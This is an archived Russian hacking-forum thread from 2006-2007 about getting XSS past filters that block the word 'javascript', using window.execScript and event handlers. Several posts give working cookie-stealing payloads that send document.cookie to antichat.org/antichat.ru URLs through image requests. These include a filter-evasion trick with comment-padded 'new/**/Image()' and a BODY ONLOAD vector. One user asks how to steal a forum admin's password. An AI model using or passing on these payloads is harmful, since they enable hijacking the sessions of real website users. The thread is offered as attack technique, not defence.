PDA

Просмотр полной версии : Проводим XSS без javascript


Xex
04.02.2006, 06:32
Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Думаю многим из вас приходилось встречать чаты/форумы/др. в которых присутвует уязвимость XSS, но провести ее сложно, по причине фильтрации магических слов javascript и vbscript, и модификации типа JaVasCriPt, javascript(с пробелами или табуляцией в начале),&#xx... и прочее не помогает. Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript(это метод объекта window). Как написано в документации execScript - "Выполняет заданный сценарий".

Рассмотрим на простом примере:

Классический случай:
<font color=red onmouseover=javascript:alert()>алерт работает!</font>

Используем execScript:
<font color=red onmouseover=window.execScript(alert())>И тут работает!</font>
Эффект тот же=))

Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...изначально в документации синтаксис execScript выглядит так:window.execScript(выражение [,язык]), но в последних версиях IE execScript не поймет даже такую строку execScript("a=1;alert(a)"). Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).
Попробуйте:
<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>

Для решения первой проблемы(невозможность использовать несколько команд одновременно(execScript(a=1;alert(a))) мы используем следующую особенность:
<font color=red onmouseover=window.execScript(alert());window.exec Script(alert())>Два алерта!</font>

т.е. через ; можем использовать несколько подряд идущих методов, что уже неплохо.
А для решения второй проблемы(его нелюбовь к кавычкам и прочим символам) используем такую замечательную вещь как функции, типа alert, eval, isNaN и возможно прочие. Из этих трех мне приглянулась isNaN. Назначение этих функций для нас не важно, вся фича в том, что эти функции неким магическим способом(кому надо сам разберется) позволяют нам творить невозможное=)
Смотрим:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/we.gif?"+document.cookie));window.execScript(alert(q))>Получилось!</font>

Т.е. мы решили вторую проблему, таким образом мы создаем полноценную "куки-тырилку", несмотря на паранойю разработчика=))
P.S.Возможно это уже где-то описывалось, не встречал.
P.S.S.За всеми вопросами пишем сюда...

lexa
04.02.2006, 06:42
прикольно ! тоже самое можно сделать и на vbs


cool (https:---------------------------------------------)

A110ut
04.02.2006, 07:50
гыг.. ша испытаем в полевых условиях...
--------------------------------------
не уверен, но кажися я подоное где-то уже видел :D

K[o]S
04.02.2006, 10:50
А нах этот гемор.
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Можно просто
<font color=red onmouseover=alert()>алерт работает!</font>
потому что события и так обрабтываются javascript`oм.

Victor
04.02.2006, 11:16
Автор спасибо тебе большое! Я давно так не смеялся!

Во-первых код который ты дал для воровки кук работать не будет, будет только алерт твоего скрипта воровки кук лол.

Дальше, научись писать ок? тогда все у тебя будет работать.

Алерт во всех браузерах.

<font color=red onmouseover=window.execScript("a=1;alert(a)")>И тут работает!</font>

Воровка кук во всех браузерах.


<font color=red onmouseover=window.execScript("img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;")>Получилось!</font>

А так уже все? "Прикрыли" да?

<font color=red onmouseover=a=1;alert(a)>И тут работает!</font>


<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>Получилось!</font>


Или ты просто написал для выкрутасывания?

Ну можно тогда повыкрутасыватся и вот так воть,

<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;eval(img);>Получилось!</font>


Во-общем пиши побольше статей, в разделе юмор качественных таких вот статейяк которые являются статейками продолжениями статей Алгола - мало.

Xex
04.02.2006, 12:08
To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать...
P.S>процитируцй над чем ты смеялся...

Xex
04.02.2006, 12:11
S']А нах этот гемор.
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Можно просто
<font color=red onmouseover=alert()>алерт работает!</font>
потому что события и так обрабтываются javascript`oм.
Это условности...повторюсь, кому надо тот код сам допишет, здесь только идея...

Victor
04.02.2006, 12:39
To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать...
P.S>процитируцй над чем ты смеялся...
Над тем как ты пишешь свои коды которые не работают лол.

<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie));window.execScript(alert(q))>Получилось!</font>

Вот так допустим все что будет работать, так это алерт который будет орать

http://antichat.ru/cgi-bin/s.jpg?

И не болие.



Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.


Тут Я упал.



Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...


Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.


Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).


Да не он не любит, а ты не правильно пишешь.


<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>


И почему это должно работать? О_О


Мда, короче мда, дальше цитировать думаю не стоит.

Xex
04.02.2006, 12:59
Над тем как ты пишешь свои коды которые не работают лол..
Все тама работает, руки проверь...


Вот так допустим все что будет работать, так это алерт который будет орать
И не болие.
Рад за тебя, что ты алерт, от всегоотсального отличаешь....

....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.
И что мне мешает использовать его нестандартно?


Да не он не любит, а ты не правильно пишешь.

И почему это должно работать? О_О
Бред...Желание до*б*атся...

To Victor:если хочется похамится пиши в пм, не засоряем...

Victor
04.02.2006, 13:13
Все тама работает, руки проверь...

Рад за тебя, что ты алерт, от всегоотсального отличаешь....

И что мне мешает использовать его нестандартно?

Бред...Желание до*б*атся...
Мда.....у тебя код воровки кук не может работать и не работает. Проверь для начала. Во-первых по какому принципу он будет у тебя работать? Ты у кого статью спер признавайся нука быстро....


Рад за тебя, что ты алерт, от всегоотсального отличаешь....

Мда, все что Я говорил ты просто забыл и тему сменил.

У тебя алерт есть, но кук воровки быть не может в твоем коде.

И что мне мешает использовать его нестандартно?

Как понять нестандартно? о_О


Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript

Ответ,


Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.

Слова выбирай и кончай курить.

Бред...Желание до*б*атся...

Вот Я тоже подумал когда статью твою прочел. Еще на меня смех напал.



Короче не смеши гусей, Я написал тебе готовые коды как правильно писать надо, что ты сейчас хочешь выяснить Я не понимаю.....

Статья = бред.

Код воровки кук у тебя не работает и не может работать.


Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.

Это Я сую в свою подпись.

Xex
04.02.2006, 15:21
Специально для неугомонного Victor:
Вот код ворования кукисов:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/xex.gif?"+document.cookie));window.execScript(isNaN(documen t.images[0].src=q))>Welcome!</font>
я думаю ты не будешь докапыватся до images[0], ибо где ты эту атаку проводить будешь, наверняка есть рисунки, ЕСЛИ НЕТ, то можно и множеством других способов сделать то же самое...

ViK_WS
04.02.2006, 15:25
А как мона на YaBB форуме пороль админа стибзить???

F_taker
04.02.2006, 16:11
А с каких это пор Javascript стал протоколом?

Victor
04.02.2006, 16:13
А с каких это пор Javascript стал протоколом?
лол....

Victor
04.02.2006, 23:37
Xex, Я тебе уже давал рабочие примеры ты не правильно коды пишешь. :)

Xex
05.02.2006, 00:37
млин какой ты непонятливый...на что мне твои примеры рабочие...проверь...лично у меня все работает...а таких рабочих примеров я сам знаю как строить...

back0rifice
24.08.2006, 05:57
JavaScript это вообще протокол
Угу, а "Turbo Assembler" - это беспроводная подводная лодка с вертикальным взлётом... Япацтулом :D ...
Для справки: Java Script является интерпретируемым языком программирования, который используется для описания различных сценариев поведения браузера.
Знаешь, Victor, может topicstarter что-то и написал неверно, но, по крайней мере, было, над чем призадуматься. Чего-то не нравится? Так объясни человеку нормально и вдумчиво, где именно он не прав, без всяких LOL'ов и выпендрёжа. Автор - X7R!

Electro
24.08.2006, 10:23
Уже лето 2006 заканчивается=)))
Знаешь, Victor, может topicstarter что-то и написал неверно, но, по крайней мере, было, над чем призадуматься. Чего-то не нравится? Так объясни человеку нормально и вдумчиво, где именно он не прав, без всяких LOL'ов и выпендрёжа
Имхо он не может так обяснить потому что Victor это WJ

back0rifice
24.08.2006, 22:51
OFFTOP

Понял, пошёл :) ...
Уже лето 2006 заканчивается=)))
Да, я в курсе ;) ...

Go0o$E
25.08.2006, 00:42
Firefox и Opera не отреагировали даже на алерт, ну а если уж IE высветил "ограничение отображения активного содержимого", то эта замена не пойдет.

Xex
25.08.2006, 01:50
там меня поправили читай все посты...

P>s>к модерам: может подправить статью?

Silent
18.10.2006, 02:06
А если фильтр не пропускает onmouseover ?

Digimortal
18.10.2006, 02:14
А если фильтр не пропускает onmouseover ?
тогда пробуй
<BODY ONLOAD=alert('XSS')>

Validol
31.08.2007, 04:21
А есть другие варианты, акромя BODY и onmouseover?